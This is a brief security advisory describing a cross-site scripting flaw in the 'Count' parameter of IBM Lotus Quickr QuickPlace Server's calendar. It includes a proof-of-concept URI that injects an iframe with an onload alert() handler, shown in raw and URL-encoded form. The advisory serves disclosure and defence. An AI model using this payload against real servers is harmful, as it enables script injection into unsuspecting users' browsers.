IBM Lotus Quickr QuickPlace Server Calendar 'Count' Parameter Cross-Site Scripting Vulnerability

IBM Lotus Quickr QuickPlace Server Calendar 'Count' Parameter Cross-Site Scripting Vulnerability

An attacker can exploit this issue by enticing an unsuspecting user to follow a malicious URI.

The following proof-of-concept URI is available:

http://www.example.com/[path]/main.nsf/h_Toc/2a922d48c75dd00b052567080016723a/?OpenDocument&Count='20"><iframe/%20/onload=alert(/XSSByNirG/<http://www.example.com/QuickPlace/leg/main.nsf/h_Toc/2a922d48c75dd00b052567080016723a/?OpenDocument&Count='20%22%3E%3Ciframe/%20/onload=alert(/XSSByNirG/>)>